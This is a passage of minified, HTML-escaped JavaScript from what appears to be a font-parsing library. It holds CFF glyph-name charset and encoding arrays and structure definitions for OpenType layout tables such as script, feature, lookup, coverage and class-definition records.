,&quot;Tildesmall&quot;,&quot;exclamdownsmall&quot;,&quot;centoldstyle&quot;,&quot;Lslashsmall&quot;,&quot;Scaronsmall&quot;,&quot;Zcaronsmall&quot;,&quot;Dieresissmall&quot;,&quot;Brevesmall&quot;,&quot;Caronsmall&quot;,&quot;Dotaccentsmall&quot;,&quot;Macronsmall&quot;,&quot;figuredash&quot;,&quot;hypheninferior&quot;,&quot;Ogoneksmall&quot;,&quot;Ringsmall&quot;,&quot;Cedillasmall&quot;,&quot;questiondownsmall&quot;,&quot;oneeighth&quot;,&quot;threeeighths&quot;,&quot;fiveeighths&quot;,&quot;seveneighths&quot;,&quot;onethird&quot;,&quot;twothirds&quot;,&quot;zerosuperior&quot;,&quot;foursuperior&quot;,&quot;fivesuperior&quot;,&quot;sixsuperior&quot;,&quot;sevensuperior&quot;,&quot;eightsuperior&quot;,&quot;ninesuperior&quot;,&quot;zeroinferior&quot;,&quot;oneinferior&quot;,&quot;twoinferior&quot;,&quot;threeinferior&quot;,&quot;fourinferior&quot;,&quot;fiveinferior&quot;,&quot;sixinferior&quot;,&quot;seveninferior&quot;,&quot;eightinferior&quot;,&quot;nineinferior&quot;,&quot;centinferior&quot;,&quot;dollarinferior&quot;,&quot;periodinferior&quot;,&quot;commainferior&quot;,&quot;Agravesmall&quot;,&quot;Aacutesmall&quot;,&quot;Acircumflexsmall&quot;,&quot;Atildesmall&quot;,&quot;Adieresissmall&quot;,&quot;Aringsmall&quot;,&quot;AEsmall&quot;,&quot;Ccedillasmall&quot;,&quot;Egravesmall&quot;,&quot;Eacutesmall&quot;,&quot;Ecircumflexsmall&quot;,&quot;Edieresissmall&quot;,&quot;Igravesmall&quot;,&quot;Iacutesmall&quot;,&quot;Icircumflexsmall&quot;,&quot;Idieresissmall&quot;,&quot;Ethsmall&quot;,&quot;Ntildesmall&quot;,&quot;Ogravesmall&quot;,&quot;Oacutesmall&quot;,&quot;Ocircumflexsmall&quot;,&quot;Otildesmall&quot;,&quot;Odieresissmall&quot;,&quot;OEsmall&quot;,&quot;Oslashsmall&quot;,&quot;Ugravesmall&quot;,&quot;Uacutesmall&quot;,&quot;Ucircumflexsmall&quot;,&quot;Udieresissmall&quot;,&quot;Yacutesmall&quot;,&quot;Thornsmall&quot;,&quot;Ydieresissmall&quot;,&quot;001.000&quot;,&quot;001.001&quot;,&quot;001.002&quot;,&quot;001.003&quot;,&quot;Black&quot;,&quot;Bold&quot;,&quot;Book&quot;,&quot;Light&quot;,&quot;Medium&quot;,&quot;Regular&quot;,&quot;Roman&quot;,&quot;Semibold&quot;];let SH=[&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;space&quot;,&quot;exclam&quot;,&quot;quotedbl&quot;,&quot;numbersign&quot;,&quot;dollar&quot;,&quot;percent&quot;,&quot;ampersand&quot;,&quot;quoteright&quot;,&quot;parenleft&quot;,&quot;parenright&quot;,&quot;asterisk&quot;,&quot;plus&quot;,&quot;comma&quot;,&quot;hyphen&quot;,&quot;period&quot;,&quot;slash&quot;,&quot;zero&quot;,&quot;one&quot;,&quot;two&quot;,&quot;three&quot;,&quot;four&quot;,&quot;five&quot;,&quot;six&quot;,&quot;seven&quot;,&quot;eight&quot;,&quot;nine&quot;,&quot;colon&quot;,&quot;semicolon&quot;,&quot;less&quot;,&quot;equal&quot;,&quot;greater&quot;,&quot;question&quot;,&quot;at&quot;,&quot;A&quot;,&quot;B&quot;,&quot;C&quot;,&quot;D&quot;,&quot;E&quot;,&quot;F&quot;,&quot;G&quot;,&quot;H&quot;,&quot;I&quot;,&quot;J&quot;,&quot;K&quot;,&quot;L&quot;,&quot;M&quot;,&quot;N&quot;,&quot;O&quot;,&quot;P&quot;,&quot;Q&quot;,&quot;R&quot;,&quot;S&quot;,&quot;T&quot;,&quot;U&quot;,&quot;V&quot;,&quot;W&quot;,&quot;X&quot;,&quot;Y&quot;,&quot;Z&quot;,&quot;bracketleft&quot;,&quot;backslash&quot;,&quot;bracketright&quot;,&quot;asciicircum&quot;,&quot;underscore&quot;,&quot;quoteleft&quot;,&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;braceleft&quot;,&quot;bar&quot;,&quot;braceright&quot;,&quot;asciitilde&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;exclamdown&quot;,&quot;cent&quot;,&quot;sterling&quot;,&quot;fraction&quot;,&quot;yen&quot;,&quot;florin&quot;,&quot;section&quot;,&quot;currency&quot;,&quot;quotesingle&quot;,&quot;quotedblleft&quot;,&quot;guillemotleft&quot;,&quot;guilsinglleft&quot;,&quot;guilsinglright&quot;,&quot;fi&quot;,&quot;fl&quot;,&quot;&quot;,&quot;endash&quot;,&quot;dagger&quot;,&quot;daggerdbl&quot;,&quot;periodcentered&quot;,&quot;&quot;,&quot;paragraph&quot;,&quot;bullet&quot;,&quot;quotesinglbase&quot;,&quot;quotedblbase&quot;,&quot;quotedblright&quot;,&quot;guillemotright&quot;,&quot;ellipsis&quot;,&quot;perthousand&quot;,&quot;&quot;,&quot;questiondown&quot;,&quot;&quot;,&quot;grave&quot;,&quot;acute&quot;,&quot;circumflex&quot;,&quot;tilde&quot;,&quot;macron&quot;,&quot;breve&quot;,&quot;dotaccent&quot;,&quot;dieresis&quot;,&quot;&quot;,&quot;ring&quot;,&quot;cedilla&quot;,&quot;&quot;,&quot;hungarumlaut&quot;,&quot;ogonek&quot;,&quot;caron&quot;,&quot;emdash&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;AE&quot;,&quot;&quot;,&quot;ordfeminine&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;Lslash&quot;,&quot;Oslash&quot;,&quot;OE&quot;,&quot;ordmasculine&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;ae&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;dotlessi&quot;,&quot;&quot;,&quot;&quot;,&quot;lslash&quot;,&quot;oslash&quot;,&quot;oe&quot;,&quot;germandbls&quot;],TAe=[&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;space&quot;,&quot;exclamsmall&quot;,&quot;Hungarumlautsmall&quot;,&quot;&quot;,&quot;dollaroldstyle&quot;,&quot;dollarsuperior&quot;,&quot;ampersandsmall&quot;,&quot;Acutesmall&quot;,&quot;parenleftsuperior&quot;,&quot;parenrightsuperior&quot;,&quot;twodotenleader&quot;,&quot;onedotenleader&quot;,&quot;comma&quot;,&quot;hyphen&quot;,&quot;period&quot;,&quot;fraction&quot;,&quot;zerooldstyle&quot;,&quot;oneoldstyle&quot;,&quot;twooldstyle&quot;,&quot;threeoldstyle&quot;,&quot;fouroldstyle&quot;,&quot;fiveoldstyle&quot;,&quot;sixoldstyle&quot;,&quot;sevenoldstyle&quot;,&quot;eightoldstyle&quot;,&quot;nineoldstyle&quot;,&quot;colon&quot;,&quot;semicolon&quot;,&quot;commasuperior&quot;,&quot;threequartersemdash&quot;,&quot;periodsuperior&quot;,&quot;questionsmall&quot;,&quot;&quot;,&quot;asuperior&quot;,&quot;bsuperior&quot;,&quot;centsuperior&quot;,&quot;dsuperior&quot;,&quot;esuperior&quot;,&quot;&quot;,&quot;&quot;,&quot;isuperior&quot;,&quot;&quot;,&quot;&quot;,&quot;lsuperior&quot;,&quot;msuperior&quot;,&quot;nsuperior&quot;,&quot;osuperior&quot;,&quot;&quot;,&quot;&quot;,&quot;rsuperior&quot;,&quot;ssuperior&quot;,&quot;tsuperior&quot;,&quot;&quot;,&quot;ff&quot;,&quot;fi&quot;,&quot;fl&quot;,&quot;ffi&quot;,&quot;ffl&quot;,&quot;parenleftinferior&quot;,&quot;&quot;,&quot;parenrightinferior&quot;,&quot;Circumflexsmall&quot;,&quot;hyphensuperior&quot;,&quot;Gravesmall&quot;,&quot;Asmall&quot;,&quot;Bsmall&quot;,&quot;Csmall&quot;,&quot;Dsmall&quot;,&quot;Esmall&quot;,&quot;Fsmall&quot;,&quot;Gsmall&quot;,&quot;Hsmall&quot;,&quot;Ismall&quot;,&quot;Jsmall&quot;,&quot;Ksmall&quot;,&quot;Lsmall&quot;,&quot;Msmall&quot;,&quot;Nsmall&quot;,&quot;Osmall&quot;,&quot;Psmall&quot;,&quot;Qsmall&quot;,&quot;Rsmall&quot;,&quot;Ssmall&quot;,&quot;Tsmall&quot;,&quot;Usmall&quot;,&quot;Vsmall&quot;,&quot;Wsmall&quot;,&quot;Xsmall&quot;,&quot;Ysmall&quot;,&quot;Zsmall&quot;,&quot;colonmonetary&quot;,&quot;onefitted&quot;,&quot;rupiah&quot;,&quot;Tildesmall&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;exclamdownsmall&quot;,&quot;centoldstyle&quot;,&quot;Lslashsmall&quot;,&quot;&quot;,&quot;&quot;,&quot;Scaronsmall&quot;,&quot;Zcaronsmall&quot;,&quot;Dieresissmall&quot;,&quot;Brevesmall&quot;,&quot;Caronsmall&quot;,&quot;&quot;,&quot;Dotaccentsmall&quot;,&quot;&quot;,&quot;&quot;,&quot;Macronsmall&quot;,&quot;&quot;,&quot;&quot;,&quot;figuredash&quot;,&quot;hypheninferior&quot;,&quot;&quot;,&quot;&quot;,&quot;Ogoneksmall&quot;,&quot;Ringsmall&quot;,&quot;Cedillasmall&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;onequarter&quot;,&quot;onehalf&quot;,&quot;threequarters&quot;,&quot;questiondownsmall&quot;,&quot;oneeighth&quot;,&quot;threeeighths&quot;,&quot;fiveeighths&quot;,&quot;seveneighths&quot;,&quot;onethird&quot;,&quot;twothirds&quot;,&quot;&quot;,&quot;&quot;,&quot;zerosuperior&quot;,&quot;onesuperior&quot;,&quot;twosuperior&quot;,&quot;threesuperior&quot;,&quot;foursuperior&quot;,&quot;fivesuperior&quot;,&quot;sixsuperior&quot;,&quot;sevensuperior&quot;,&quot;eightsuperior&quot;,&quot;ninesuperior&quot;,&quot;zeroinferior&quot;,&quot;oneinferior&quot;,&quot;twoinferior&quot;,&quot;threeinferior&quot;,&quot;fourinferior&quot;,&quot;fiveinferior&quot;,&quot;sixinferior&quot;,&quot;seveninferior&quot;,&quot;eightinferior&quot;,&quot;nineinferior&quot;,&quot;centinferior&quot;,&quot;dollarinferior&quot;,&quot;periodinferior&quot;,&quot;commainferior&quot;,&quot;Agravesmall&quot;,&quot;Aacutesmall&quot;,&quot;Acircumflexsmall&quot;,&quot;Atildesmall&quot;,&quot;Adieresissmall&quot;,&quot;Aringsmall&quot;,&quot;AEsmall&quot;,&quot;Ccedillasmall&quot;,&quot;Egravesmall&quot;,&quot;Eacutesmall&quot;,&quot;Ecircumflexsmall&quot;,&quot;Edieresissmall&quot;,&quot;Igravesmall&quot;,&quot;Iacutesmall&quot;,&quot;Icircumflexsmall&quot;,&quot;Idieresissmall&quot;,&quot;Ethsmall&quot;,&quot;Ntildesmall&quot;,&quot;Ogravesmall&quot;,&quot;Oacutesmall&quot;,&quot;Ocircumflexsmall&quot;,&quot;Otildesmall&quot;,&quot;Odieresissmall&quot;,&quot;OEsmall&quot;,&quot;Oslashsmall&quot;,&quot;Ugravesmall&quot;,&quot;Uacutesmall&quot;,&quot;Ucircumflexsmall&quot;,&quot;Udieresissmall&quot;,&quot;Yacutesmall&quot;,&quot;Thornsmall&quot;,&quot;Ydieresissmall&quot;],BH=[&quot;.notdef&quot;,&quot;space&quot;,&quot;exclam&quot;,&quot;quotedbl&quot;,&quot;numbersign&quot;,&quot;dollar&quot;,&quot;percent&quot;,&quot;ampersand&quot;,&quot;quoteright&quot;,&quot;parenleft&quot;,&quot;parenright&quot;,&quot;asterisk&quot;,&quot;plus&quot;,&quot;comma&quot;,&quot;hyphen&quot;,&quot;period&quot;,&quot;slash&quot;,&quot;zero&quot;,&quot;one&quot;,&quot;two&quot;,&quot;three&quot;,&quot;four&quot;,&quot;five&quot;,&quot;six&quot;,&quot;seven&quot;,&quot;eight&quot;,&quot;nine&quot;,&quot;colon&quot;,&quot;semicolon&quot;,&quot;less&quot;,&quot;equal&quot;,&quot;greater&quot;,&quot;question&quot;,&quot;at&quot;,&quot;A&quot;,&quot;B&quot;,&quot;C&quot;,&quot;D&quot;,&quot;E&quot;,&quot;F&quot;,&quot;G&quot;,&quot;H&quot;,&quot;I&quot;,&quot;J&quot;,&quot;K&quot;,&quot;L&quot;,&quot;M&quot;,&quot;N&quot;,&quot;O&quot;,&quot;P&quot;,&quot;Q&quot;,&quot;R&quot;,&quot;S&quot;,&quot;T&quot;,&quot;U&quot;,&quot;V&quot;,&quot;W&quot;,&quot;X&quot;,&quot;Y&quot;,&quot;Z&quot;,&quot;bracketleft&quot;,&quot;backslash&quot;,&quot;bracketright&quot;,&quot;asciicircum&quot;,&quot;underscore&quot;,&quot;quoteleft&quot;,&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;braceleft&quot;,&quot;bar&quot;,&quot;braceright&quot;,&quot;asciitilde&quot;,&quot;exclamdown&quot;,&quot;cent&quot;,&quot;sterling&quot;,&quot;fraction&quot;,&quot;yen&quot;,&quot;florin&quot;,&quot;section&quot;,&quot;currency&quot;,&quot;quotesingle&quot;,&quot;quotedblleft&quot;,&quot;guillemotleft&quot;,&quot;guilsinglleft&quot;,&quot;guilsinglright&quot;,&quot;fi&quot;,&quot;fl&quot;,&quot;endash&quot;,&quot;dagger&quot;,&quot;daggerdbl&quot;,&quot;periodcentered&quot;,&quot;paragraph&quot;,&quot;bullet&quot;,&quot;quotesinglbase&quot;,&quot;quotedblbase&quot;,&quot;quotedblright&quot;,&quot;guillemotright&quot;,&quot;ellipsis&quot;,&quot;perthousand&quot;,&quot;questiondown&quot;,&quot;grave&quot;,&quot;acute&quot;,&quot;circumflex&quot;,&quot;tilde&quot;,&quot;macron&quot;,&quot;breve&quot;,&quot;dotaccent&quot;,&quot;dieresis&quot;,&quot;ring&quot;,&quot;cedilla&quot;,&quot;hungarumlaut&quot;,&quot;ogonek&quot;,&quot;caron&quot;,&quot;emdash&quot;,&quot;AE&quot;,&quot;ordfeminine&quot;,&quot;Lslash&quot;,&quot;Oslash&quot;,&quot;OE&quot;,&quot;ordmasculine&quot;,&quot;ae&quot;,&quot;dotlessi&quot;,&quot;lslash&quot;,&quot;oslash&quot;,&quot;oe&quot;,&quot;germandbls&quot;,&quot;onesuperior&quot;,&quot;logicalnot&quot;,&quot;mu&quot;,&quot;trademark&quot;,&quot;Eth&quot;,&quot;onehalf&quot;,&quot;plusminus&quot;,&quot;Thorn&quot;,&quot;onequarter&quot;,&quot;divide&quot;,&quot;brokenbar&quot;,&quot;degree&quot;,&quot;thorn&quot;,&quot;threequarters&quot;,&quot;twosuperior&quot;,&quot;registered&quot;,&quot;minus&quot;,&quot;eth&quot;,&quot;multiply&quot;,&quot;threesuperior&quot;,&quot;copyright&quot;,&quot;Aacute&quot;,&quot;Acircumflex&quot;,&quot;Adieresis&quot;,&quot;Agrave&quot;,&quot;Aring&quot;,&quot;Atilde&quot;,&quot;Ccedilla&quot;,&quot;Eacute&quot;,&quot;Ecircumflex&quot;,&quot;Edieresis&quot;,&quot;Egrave&quot;,&quot;Iacute&quot;,&quot;Icircumflex&quot;,&quot;Idieresis&quot;,&quot;Igrave&quot;,&quot;Ntilde&quot;,&quot;Oacute&quot;,&quot;Ocircumflex&quot;,&quot;Odieresis&quot;,&quot;Ograve&quot;,&quot;Otilde&quot;,&quot;Scaron&quot;,&quot;Uacute&quot;,&quot;Ucircumflex&quot;,&quot;Udieresis&quot;,&quot;Ugrave&quot;,&quot;Yacute&quot;,&quot;Ydieresis&quot;,&quot;Zcaron&quot;,&quot;aacute&quot;,&quot;acircumflex&quot;,&quot;adieresis&quot;,&quot;agrave&quot;,&quot;aring&quot;,&quot;atilde&quot;,&quot;ccedilla&quot;,&quot;eacute&quot;,&quot;ecircumflex&quot;,&quot;edieresis&quot;,&quot;egrave&quot;,&quot;iacute&quot;,&quot;icircumflex&quot;,&quot;idieresis&quot;,&quot;igrave&quot;,&quot;ntilde&quot;,&quot;oacute&quot;,&quot;ocircumflex&quot;,&quot;odieresis&quot;,&quot;ograve&quot;,&quot;otilde&quot;,&quot;scaron&quot;,&quot;uacute&quot;,&quot;ucircumflex&quot;,&quot;udieresis&quot;,&quot;ugrave&quot;,&quot;yacute&quot;,&quot;ydieresis&quot;,&quot;zcaron&quot;],RAe=[&quot;.notdef&quot;,&quot;space&quot;,&quot;exclamsmall&quot;,&quot;Hungarumlautsmall&quot;,&quot;dollaroldstyle&quot;,&quot;dollarsuperior&quot;,&quot;ampersandsmall&quot;,&quot;Acutesmall&quot;,&quot;parenleftsuperior&quot;,&quot;parenrightsuperior&quot;,&quot;twodotenleader&quot;,&quot;onedotenleader&quot;,&quot;comma&quot;,&quot;hyphen&quot;,&quot;period&quot;,&quot;fraction&quot;,&quot;zerooldstyle&quot;,&quot;oneoldstyle&quot;,&quot;twooldstyle&quot;,&quot;threeoldstyle&quot;,&quot;fouroldstyle&quot;,&quot;fiveoldstyle&quot;,&quot;sixoldstyle&quot;,&quot;sevenoldstyle&quot;,&quot;eightoldstyle&quot;,&quot;nineoldstyle&quot;,&quot;colon&quot;,&quot;semicolon&quot;,&quot;commasuperior&quot;,&quot;threequartersemdash&quot;,&quot;periodsuperior&quot;,&quot;questionsmall&quot;,&quot;asuperior&quot;,&quot;bsuperior&quot;,&quot;centsuperior&quot;,&quot;dsuperior&quot;,&quot;esuperior&quot;,&quot;isuperior&quot;,&quot;lsuperior&quot;,&quot;msuperior&quot;,&quot;nsuperior&quot;,&quot;osuperior&quot;,&quot;rsuperior&quot;,&quot;ssuperior&quot;,&quot;tsuperior&quot;,&quot;ff&quot;,&quot;fi&quot;,&quot;fl&quot;,&quot;ffi&quot;,&quot;ffl&quot;,&quot;parenleftinferior&quot;,&quot;parenrightinferior&quot;,&quot;Circumflexsmall&quot;,&quot;hyphensuperior&quot;,&quot;Gravesmall&quot;,&quot;Asmall&quot;,&quot;Bsmall&quot;,&quot;Csmall&quot;,&quot;Dsmall&quot;,&quot;Esmall&quot;,&quot;Fsmall&quot;,&quot;Gsmall&quot;,&quot;Hsmall&quot;,&quot;Ismall&quot;,&quot;Jsmall&quot;,&quot;Ksmall&quot;,&quot;Lsmall&quot;,&quot;Msmall&quot;,&quot;Nsmall&quot;,&quot;Osmall&quot;,&quot;Psmall&quot;,&quot;Qsmall&quot;,&quot;Rsmall&quot;,&quot;Ssmall&quot;,&quot;Tsmall&quot;,&quot;Usmall&quot;,&quot;Vsmall&quot;,&quot;Wsmall&quot;,&quot;Xsmall&quot;,&quot;Ysmall&quot;,&quot;Zsmall&quot;,&quot;colonmonetary&quot;,&quot;onefitted&quot;,&quot;rupiah&quot;,&quot;Tildesmall&quot;,&quot;exclamdownsmall&quot;,&quot;centoldstyle&quot;,&quot;Lslashsmall&quot;,&quot;Scaronsmall&quot;,&quot;Zcaronsmall&quot;,&quot;Dieresissmall&quot;,&quot;Brevesmall&quot;,&quot;Caronsmall&quot;,&quot;Dotaccentsmall&quot;,&quot;Macronsmall&quot;,&quot;figuredash&quot;,&quot;hypheninferior&quot;,&quot;Ogoneksmall&quot;,&quot;Ringsmall&quot;,&quot;Cedillasmall&quot;,&quot;onequarter&quot;,&quot;onehalf&quot;,&quot;threequarters&quot;,&quot;questiondownsmall&quot;,&quot;oneeighth&quot;,&quot;threeeighths&quot;,&quot;fiveeighths&quot;,&quot;seveneighths&quot;,&quot;onethird&quot;,&quot;twothirds&quot;,&quot;zerosuperior&quot;,&quot;onesuperior&quot;,&quot;twosuperior&quot;,&quot;threesuperior&quot;,&quot;foursuperior&quot;,&quot;fivesuperior&quot;,&quot;sixsuperior&quot;,&quot;sevensuperior&quot;,&quot;eightsuperior&quot;,&quot;ninesuperior&quot;,&quot;zeroinferior&quot;,&quot;oneinferior&quot;,&quot;twoinferior&quot;,&quot;threeinferior&quot;,&quot;fourinferior&quot;,&quot;fiveinferior&quot;,&quot;sixinferior&quot;,&quot;seveninferior&quot;,&quot;eightinferior&quot;,&quot;nineinferior&quot;,&quot;centinferior&quot;,&quot;dollarinferior&quot;,&quot;periodinferior&quot;,&quot;commainferior&quot;,&quot;Agravesmall&quot;,&quot;Aacutesmall&quot;,&quot;Acircumflexsmall&quot;,&quot;Atildesmall&quot;,&quot;Adieresissmall&quot;,&quot;Aringsmall&quot;,&quot;AEsmall&quot;,&quot;Ccedillasmall&quot;,&quot;Egravesmall&quot;,&quot;Eacutesmall&quot;,&quot;Ecircumflexsmall&quot;,&quot;Edieresissmall&quot;,&quot;Igravesmall&quot;,&quot;Iacutesmall&quot;,&quot;Icircumflexsmall&quot;,&quot;Idieresissmall&quot;,&quot;Ethsmall&quot;,&quot;Ntildesmall&quot;,&quot;Ogravesmall&quot;,&quot;Oacutesmall&quot;,&quot;Ocircumflexsmall&quot;,&quot;Otildesmall&quot;,&quot;Odieresissmall&quot;,&quot;OEsmall&quot;,&quot;Oslashsmall&quot;,&quot;Ugravesmall&quot;,&quot;Uacutesmall&quot;,&quot;Ucircumflexsmall&quot;,&quot;Udieresissmall&quot;,&quot;Yacutesmall&quot;,&quot;Thornsmall&quot;,&quot;Ydieresissmall&quot;],PAe=[&quot;.notdef&quot;,&quot;space&quot;,&quot;dollaroldstyle&quot;,&quot;dollarsuperior&quot;,&quot;parenleftsuperior&quot;,&quot;parenrightsuperior&quot;,&quot;twodotenleader&quot;,&quot;onedotenleader&quot;,&quot;comma&quot;,&quot;hyphen&quot;,&quot;period&quot;,&quot;fraction&quot;,&quot;zerooldstyle&quot;,&quot;oneoldstyle&quot;,&quot;twooldstyle&quot;,&quot;threeoldstyle&quot;,&quot;fouroldstyle&quot;,&quot;fiveoldstyle&quot;,&quot;sixoldstyle&quot;,&quot;sevenoldstyle&quot;,&quot;eightoldstyle&quot;,&quot;nineoldstyle&quot;,&quot;colon&quot;,&quot;semicolon&quot;,&quot;commasuperior&quot;,&quot;threequartersemdash&quot;,&quot;periodsuperior&quot;,&quot;asuperior&quot;,&quot;bsuperior&quot;,&quot;centsuperior&quot;,&quot;dsuperior&quot;,&quot;esuperior&quot;,&quot;isuperior&quot;,&quot;lsuperior&quot;,&quot;msuperior&quot;,&quot;nsuperior&quot;,&quot;osuperior&quot;,&quot;rsuperior&quot;,&quot;ssuperior&quot;,&quot;tsuperior&quot;,&quot;ff&quot;,&quot;fi&quot;,&quot;fl&quot;,&quot;ffi&quot;,&quot;ffl&quot;,&quot;parenleftinferior&quot;,&quot;parenrightinferior&quot;,&quot;hyphensuperior&quot;,&quot;colonmonetary&quot;,&quot;onefitted&quot;,&quot;rupiah&quot;,&quot;centoldstyle&quot;,&quot;figuredash&quot;,&quot;hypheninferior&quot;,&quot;onequarter&quot;,&quot;onehalf&quot;,&quot;threequarters&quot;,&quot;oneeighth&quot;,&quot;threeeighths&quot;,&quot;fiveeighths&quot;,&quot;seveneighths&quot;,&quot;onethird&quot;,&quot;twothirds&quot;,&quot;zerosuperior&quot;,&quot;onesuperior&quot;,&quot;twosuperior&quot;,&quot;threesuperior&quot;,&quot;foursuperior&quot;,&quot;fivesuperior&quot;,&quot;sixsuperior&quot;,&quot;sevensuperior&quot;,&quot;eightsuperior&quot;,&quot;ninesuperior&quot;,&quot;zeroinferior&quot;,&quot;oneinferior&quot;,&quot;twoinferior&quot;,&quot;threeinferior&quot;,&quot;fourinferior&quot;,&quot;fiveinferior&quot;,&quot;sixinferior&quot;,&quot;seveninferior&quot;,&quot;eightinferior&quot;,&quot;nineinferior&quot;,&quot;centinferior&quot;,&quot;dollarinferior&quot;,&quot;periodinferior&quot;,&quot;commainferior&quot;],kH=new ct({reserved:new Ia(Y),reqFeatureIndex:Y,featureCount:Y,featureIndexes:new Ye(Y,&quot;featureCount&quot;)}),QAe=new ct({tag:new Di(4),langSys:new Je(Y,kH,{type:&quot;parent&quot;})}),FAe=new ct({defaultLangSys:new Je(Y,kH),count:Y,langSysRecords:new Ye(QAe,&quot;count&quot;)}),OAe=new ct({tag:new Di(4),script:new Je(Y,FAe,{type:&quot;parent&quot;})}),_H=new Ye(OAe,Y),LAe=new ct({version:Y,nameID:Y}),DH=new ct({featureParams:new Je(Y,LAe),lookupCount:Y,lookupListIndexes:new Ye(Y,&quot;lookupCount&quot;)}),MAe=new ct({tag:new Di(4),feature:new Je(Y,DH,{type:&quot;parent&quot;})}),TH=new Ye(MAe,Y),UAe=new ct({markAttachmentType:lr,flags:new H0(lr,[&quot;rightToLeft&quot;,&quot;ignoreBaseGlyphs&quot;,&quot;ignoreLigatures&quot;,&quot;ignoreMarks&quot;,&quot;useMarkFilteringSet&quot;])});function bw(e){let t=new ct({lookupType:Y,flags:UAe,subTableCount:Y,subTables:new Ye(new Je(Y,e),&quot;subTableCount&quot;),markFilteringSet:new xw(Y,r=&gt;r.flags.flags.useMarkFilteringSet)});return new Yi(new Je(Y,t),Y)}let zAe=new ct({start:Y,end:Y,startCoverageIndex:Y}),Hi=new Un(Y,{1:{glyphCount:Y,glyphs:new Ye(Y,&quot;glyphCount&quot;)},2:{rangeCount:Y,rangeRecords:new Ye(zAe,&quot;rangeCount&quot;)}}),$Ae=new ct({start:Y,end:Y,class:Y}),bm=new Un(Y,{1:{startGlyph:Y,glyphCount:Y,classValueArray:new Ye(Y,&quot;glyphCount&quot;)},2:{classRangeCount:Y,classRangeRecord:new Ye($Ae,&quot;classRangeCount&quot;)}}),fm=new ct({a:Y,b:Y,deltaFormat:Y}),jy=new ct({sequenceIndex:Y,lookupListIndex:Y}),HAe=new ct({glyphCount:Y,lookupCount:Y,input:new Ye(Y,e=&gt;e.glyphCount-1),lookupRecords:new Ye(jy,&quot;lookupCount&quot;)}),qAe=new Ye(new Je(Y,HAe),Y),GAe=new ct({glyphCount:Y,lookupCount:Y,classes:new Ye(Y,e=&gt;e.glyphCount-1),lookupRecords:new Ye(jy,&quot;lookupCount&quot;)}),VAe=new Ye(new Je(Y,GAe),Y),RH=new Un(Y,{1:{coverage:new Je(Y,Hi),ruleSetCount:Y,ruleSets:new Ye(new Je(Y,qAe),&quot;ruleSetCount&quot;)},2:{coverage:new Je(Y,Hi),classDef:new Je(Y,bm),classSetCnt:Y,classSet:new Ye(new Je(Y,VAe),&quot;classSetCnt&quot;)},3:{glyphCount:Y,lookupCount:Y,coverages:new Ye(new 